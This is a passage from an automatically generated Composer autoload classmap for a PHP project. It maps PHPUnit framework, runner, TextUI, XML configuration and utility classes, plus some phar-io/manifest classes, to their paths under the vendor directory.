'/phpunit/phpunit/src/Framework/MockObject/Verifiable.php', 'PHPUnit\\Framework\\NoChildTestSuiteException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php', 'PHPUnit\\Framework\\OutputError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/OutputError.php', 'PHPUnit\\Framework\\PHPTAssertionFailedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php', 'PHPUnit\\Framework\\Reorderable' => $vendorDir . '/phpunit/phpunit/src/Framework/Reorderable.php', 'PHPUnit\\Framework\\RiskyTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php', 'PHPUnit\\Framework\\SelfDescribing' => $vendorDir . '/phpunit/phpunit/src/Framework/SelfDescribing.php', 'PHPUnit\\Framework\\SkippedTest' => $vendorDir . '/phpunit/phpunit/src/Framework/SkippedTest.php', 'PHPUnit\\Framework\\SkippedTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/SkippedTestCase.php', 'PHPUnit\\Framework\\SkippedTestError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SkippedTestError.php', 'PHPUnit\\Framework\\SkippedTestSuiteError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SkippedTestSuiteError.php', 'PHPUnit\\Framework\\SyntheticError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SyntheticError.php', 'PHPUnit\\Framework\\SyntheticSkippedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/SyntheticSkippedError.php', 'PHPUnit\\Framework\\Test' => $vendorDir . '/phpunit/phpunit/src/Framework/Test.php', 'PHPUnit\\Framework\\TestBuilder' => $vendorDir . '/phpunit/phpunit/src/Framework/TestBuilder.php', 'PHPUnit\\Framework\\TestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/TestCase.php', 'PHPUnit\\Framework\\TestFailure' => $vendorDir . '/phpunit/phpunit/src/Framework/TestFailure.php', 'PHPUnit\\Framework\\TestListener' => $vendorDir . '/phpunit/phpunit/src/Framework/TestListener.php', 'PHPUnit\\Framework\\TestListenerDefaultImplementation' => $vendorDir . '/phpunit/phpunit/src/Framework/TestListenerDefaultImplementation.php', 'PHPUnit\\Framework\\TestResult' => $vendorDir . '/phpunit/phpunit/src/Framework/TestResult.php', 'PHPUnit\\Framework\\TestSuite' => $vendorDir . '/phpunit/phpunit/src/Framework/TestSuite.php', 'PHPUnit\\Framework\\TestSuiteIterator' => $vendorDir . '/phpunit/phpunit/src/Framework/TestSuiteIterator.php', 'PHPUnit\\Framework\\UnintentionallyCoveredCodeError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/UnintentionallyCoveredCodeError.php', 'PHPUnit\\Framework\\Warning' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/Warning.php', 'PHPUnit\\Framework\\WarningTestCase' => $vendorDir . '/phpunit/phpunit/src/Framework/WarningTestCase.php', 'PHPUnit\\Runner\\AfterIncompleteTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterIncompleteTestHook.php', 'PHPUnit\\Runner\\AfterLastTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterLastTestHook.php', 'PHPUnit\\Runner\\AfterRiskyTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterRiskyTestHook.php', 'PHPUnit\\Runner\\AfterSkippedTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterSkippedTestHook.php', 'PHPUnit\\Runner\\AfterSuccessfulTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterSuccessfulTestHook.php', 'PHPUnit\\Runner\\AfterTestErrorHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestErrorHook.php', 'PHPUnit\\Runner\\AfterTestFailureHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestFailureHook.php', 'PHPUnit\\Runner\\AfterTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestHook.php', 'PHPUnit\\Runner\\AfterTestWarningHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/AfterTestWarningHook.php', 'PHPUnit\\Runner\\BaseTestRunner' => $vendorDir . '/phpunit/phpunit/src/Runner/BaseTestRunner.php', 'PHPUnit\\Runner\\BeforeFirstTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/BeforeFirstTestHook.php', 'PHPUnit\\Runner\\BeforeTestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/BeforeTestHook.php', 'PHPUnit\\Runner\\DefaultTestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/DefaultTestResultCache.php', 'PHPUnit\\Runner\\Exception' => $vendorDir . '/phpunit/phpunit/src/Runner/Exception.php', 'PHPUnit\\Runner\\Extension\\ExtensionHandler' => $vendorDir . '/phpunit/phpunit/src/Runner/Extension/ExtensionHandler.php', 'PHPUnit\\Runner\\Extension\\PharLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/Extension/PharLoader.php', 'PHPUnit\\Runner\\Filter\\ExcludeGroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/ExcludeGroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\Factory' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/Factory.php', 'PHPUnit\\Runner\\Filter\\GroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/GroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\IncludeGroupFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/IncludeGroupFilterIterator.php', 'PHPUnit\\Runner\\Filter\\NameFilterIterator' => $vendorDir . '/phpunit/phpunit/src/Runner/Filter/NameFilterIterator.php', 'PHPUnit\\Runner\\Hook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/Hook.php', 'PHPUnit\\Runner\\NullTestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/NullTestResultCache.php', 'PHPUnit\\Runner\\PhptTestCase' => $vendorDir . '/phpunit/phpunit/src/Runner/PhptTestCase.php', 'PHPUnit\\Runner\\ResultCacheExtension' => $vendorDir . '/phpunit/phpunit/src/Runner/ResultCacheExtension.php', 'PHPUnit\\Runner\\StandardTestSuiteLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/StandardTestSuiteLoader.php', 'PHPUnit\\Runner\\TestHook' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/TestHook.php', 'PHPUnit\\Runner\\TestListenerAdapter' => $vendorDir . '/phpunit/phpunit/src/Runner/Hook/TestListenerAdapter.php', 'PHPUnit\\Runner\\TestResultCache' => $vendorDir . '/phpunit/phpunit/src/Runner/TestResultCache.php', 'PHPUnit\\Runner\\TestSuiteLoader' => $vendorDir . '/phpunit/phpunit/src/Runner/TestSuiteLoader.php', 'PHPUnit\\Runner\\TestSuiteSorter' => $vendorDir . '/phpunit/phpunit/src/Runner/TestSuiteSorter.php', 'PHPUnit\\Runner\\Version' => $vendorDir . '/phpunit/phpunit/src/Runner/Version.php', 'PHPUnit\\TextUI\\CliArguments\\Builder' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Builder.php', 'PHPUnit\\TextUI\\CliArguments\\Configuration' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Configuration.php', 'PHPUnit\\TextUI\\CliArguments\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Exception.php', 'PHPUnit\\TextUI\\CliArguments\\Mapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/CliArguments/Mapper.php', 'PHPUnit\\TextUI\\Command' => $vendorDir . '/phpunit/phpunit/src/TextUI/Command.php', 'PHPUnit\\TextUI\\DefaultResultPrinter' => $vendorDir . '/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php', 'PHPUnit\\TextUI\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/Exception.php', 'PHPUnit\\TextUI\\Help' => $vendorDir . '/phpunit/phpunit/src/TextUI/Help.php', 'PHPUnit\\TextUI\\ReflectionException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php', 'PHPUnit\\TextUI\\ResultPrinter' => $vendorDir . '/phpunit/phpunit/src/TextUI/ResultPrinter.php', 'PHPUnit\\TextUI\\RuntimeException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php', 'PHPUnit\\TextUI\\TestDirectoryNotFoundException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php', 'PHPUnit\\TextUI\\TestFileNotFoundException' => $vendorDir . '/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php', 'PHPUnit\\TextUI\\TestRunner' => $vendorDir . '/phpunit/phpunit/src/TextUI/TestRunner.php', 'PHPUnit\\TextUI\\TestSuiteMapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/TestSuiteMapper.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\CodeCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/CodeCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\FilterMapper' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/FilterMapper.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\Directory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/Directory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Filter\\DirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Filter/DirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Clover' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Clover.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Cobertura' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Cobertura.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Crap4j' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Crap4j.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Html' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Html.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Php' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Php.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CodeCoverage\\Report\\Xml' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/CodeCoverage/Report/Xml.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Configuration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Configuration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Constant' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Constant.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConstantCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/ConstantCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ConvertLogTypes' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/ConvertLogTypes.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCloverToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCloverToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageCrap4jToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageCrap4jToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageHtmlToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageHtmlToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoveragePhpToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoveragePhpToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageTextToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageTextToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\CoverageXmlToReport' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/CoverageXmlToReport.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Directory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/Directory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\DirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/DirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Exception' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Exception.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Extension' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/Extension.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\ExtensionCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/ExtensionCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\File' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/File.php', 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\FileCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Filesystem/FileCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Generator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Generator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Group' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Group.php', 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\GroupCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/GroupCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Groups' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Group/Groups.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSetting' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSetting.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IniSettingCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/IniSettingCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\IntroduceCoverageElement' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/IntroduceCoverageElement.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Loader' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Loader.php', 'PHPUnit\\TextUI\\XmlConfiguration\\LogToReportMigration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/LogToReportMigration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Junit' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Junit.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Logging' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Logging.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TeamCity' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TeamCity.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Html' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Html.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\TestDox\\Xml' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/TestDox/Xml.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Logging\\Text' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Logging/Text.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Migration' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/Migration.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilder' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilder.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationBuilderException' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationBuilderException.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MigrationException' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/MigrationException.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Migrator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromFilterWhitelistToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromFilterWhitelistToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveAttributesFromRootToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveAttributesFromRootToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistDirectoriesToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistDirectoriesToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\MoveWhitelistExcludesToCoverage' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/MoveWhitelistExcludesToCoverage.php', 'PHPUnit\\TextUI\\XmlConfiguration\\PHPUnit' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHPUnit/PHPUnit.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Php' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Php.php', 'PHPUnit\\TextUI\\XmlConfiguration\\PhpHandler' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/PhpHandler.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveCacheTokensAttribute' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveCacheTokensAttribute.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveEmptyFilter' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveEmptyFilter.php', 'PHPUnit\\TextUI\\XmlConfiguration\\RemoveLogTypes' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/RemoveLogTypes.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectory' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectory.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestDirectoryCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestDirectoryCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFile' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFile.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestFileCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestFileCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuite' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuite.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\TestSuiteCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/TestSuite/TestSuiteCollectionIterator.php', 'PHPUnit\\TextUI\\XmlConfiguration\\UpdateSchemaLocationTo93' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/Migration/Migrations/UpdateSchemaLocationTo93.php', 'PHPUnit\\TextUI\\XmlConfiguration\\Variable' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/Variable.php', 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollection' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollection.php', 'PHPUnit\\TextUI\\XmlConfiguration\\VariableCollectionIterator' => $vendorDir . '/phpunit/phpunit/src/TextUI/XmlConfiguration/PHP/VariableCollectionIterator.php', 'PHPUnit\\Util\\Annotation\\DocBlock' => $vendorDir . '/phpunit/phpunit/src/Util/Annotation/DocBlock.php', 'PHPUnit\\Util\\Annotation\\Registry' => $vendorDir . '/phpunit/phpunit/src/Util/Annotation/Registry.php', 'PHPUnit\\Util\\Blacklist' => $vendorDir . '/phpunit/phpunit/src/Util/Blacklist.php', 'PHPUnit\\Util\\Color' => $vendorDir . '/phpunit/phpunit/src/Util/Color.php', 'PHPUnit\\Util\\ErrorHandler' => $vendorDir . '/phpunit/phpunit/src/Util/ErrorHandler.php', 'PHPUnit\\Util\\Exception' => $vendorDir . '/phpunit/phpunit/src/Util/Exception.php', 'PHPUnit\\Util\\ExcludeList' => $vendorDir . '/phpunit/phpunit/src/Util/ExcludeList.php', 'PHPUnit\\Util\\FileLoader' => $vendorDir . '/phpunit/phpunit/src/Util/FileLoader.php', 'PHPUnit\\Util\\Filesystem' => $vendorDir . '/phpunit/phpunit/src/Util/Filesystem.php', 'PHPUnit\\Util\\Filter' => $vendorDir . '/phpunit/phpunit/src/Util/Filter.php', 'PHPUnit\\Util\\GlobalState' => $vendorDir . '/phpunit/phpunit/src/Util/GlobalState.php', 'PHPUnit\\Util\\InvalidDataSetException' => $vendorDir . '/phpunit/phpunit/src/Util/InvalidDataSetException.php', 'PHPUnit\\Util\\Json' => $vendorDir . '/phpunit/phpunit/src/Util/Json.php', 'PHPUnit\\Util\\Log\\JUnit' => $vendorDir . '/phpunit/phpunit/src/Util/Log/JUnit.php', 'PHPUnit\\Util\\Log\\TeamCity' => $vendorDir . '/phpunit/phpunit/src/Util/Log/TeamCity.php', 'PHPUnit\\Util\\PHP\\AbstractPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php', 'PHPUnit\\Util\\PHP\\DefaultPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php', 'PHPUnit\\Util\\PHP\\WindowsPhpProcess' => $vendorDir . '/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php', 'PHPUnit\\Util\\Printer' => $vendorDir . '/phpunit/phpunit/src/Util/Printer.php', 'PHPUnit\\Util\\RegularExpression' => $vendorDir . '/phpunit/phpunit/src/Util/RegularExpression.php', 'PHPUnit\\Util\\Test' => $vendorDir . '/phpunit/phpunit/src/Util/Test.php', 'PHPUnit\\Util\\TestDox\\CliTestDoxPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php', 'PHPUnit\\Util\\TestDox\\HtmlResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php', 'PHPUnit\\Util\\TestDox\\NamePrettifier' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php', 'PHPUnit\\Util\\TestDox\\ResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php', 'PHPUnit\\Util\\TestDox\\TestDoxPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php', 'PHPUnit\\Util\\TestDox\\TextResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php', 'PHPUnit\\Util\\TestDox\\XmlResultPrinter' => $vendorDir . '/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php', 'PHPUnit\\Util\\TextTestListRenderer' => $vendorDir . '/phpunit/phpunit/src/Util/TextTestListRenderer.php', 'PHPUnit\\Util\\Type' => $vendorDir . '/phpunit/phpunit/src/Util/Type.php', 'PHPUnit\\Util\\VersionComparisonOperator' => $vendorDir . '/phpunit/phpunit/src/Util/VersionComparisonOperator.php', 'PHPUnit\\Util\\XdebugFilterScriptGenerator' => $vendorDir . '/phpunit/phpunit/src/Util/XdebugFilterScriptGenerator.php', 'PHPUnit\\Util\\Xml' => $vendorDir . '/phpunit/phpunit/src/Util/Xml.php', 'PHPUnit\\Util\\XmlTestListRenderer' => $vendorDir . '/phpunit/phpunit/src/Util/XmlTestListRenderer.php', 'PHPUnit\\Util\\Xml\\Exception' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Exception.php', 'PHPUnit\\Util\\Xml\\FailedSchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\Loader' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Loader.php', 'PHPUnit\\Util\\Xml\\SchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\SchemaDetector' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaDetector.php', 'PHPUnit\\Util\\Xml\\SchemaFinder' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SchemaFinder.php', 'PHPUnit\\Util\\Xml\\SnapshotNodeList' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php', 'PHPUnit\\Util\\Xml\\SuccessfulSchemaDetectionResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php', 'PHPUnit\\Util\\Xml\\ValidationResult' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/ValidationResult.php', 'PHPUnit\\Util\\Xml\\Validator' => $vendorDir . '/phpunit/phpunit/src/Util/Xml/Validator.php', 'PharIo\\Manifest\\Application' => $vendorDir . '/phar-io/manifest/src/values/Application.php', 'PharIo\\Manifest\\ApplicationName' => $vendorDir . '/phar-io/manifest/src/values/ApplicationName.php', 'PharIo\\Manifest\\Author' => $vendorDir . '/phar-io/manifest/src/values/Author.php', 'PharIo\\Manifest\\AuthorCollection' => $vendorDir . '/phar-io/manifest/src/values/AuthorCollection.php', 'PharIo\\Manifest\\AuthorCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/AuthorCollectionIterator.php', 'PharIo\\Manifest\\AuthorElement' => $vendorDir . '/phar-io/manifest/src/xml/AuthorElement.php', 'PharIo\\Manifest\\AuthorElementCollection' => $vendorDir . '/phar-io/manifest/src/xml/AuthorElementCollection.php', 'PharIo\\Manifest\\BundledComponent' => $vendorDir . '/phar-io/manifest/src/values/BundledComponent.php', 'PharIo\\Manifest\\BundledComponentCollection' => $vendorDir . '/phar-io/manifest/src/values/BundledComponentCollection.php', 'PharIo\\Manifest\\BundledComponentCollectionIterator' => $vendorDir . '/phar-io/manifest/src/values/BundledComponentCollectionIterator.php', 'PharIo\\Manifest\\BundlesElement' => $vendorDir . '/phar-io/manifest/src/xml/BundlesElement.php', 'PharIo\\Manifest\\ComponentElement' => $vendorDir . 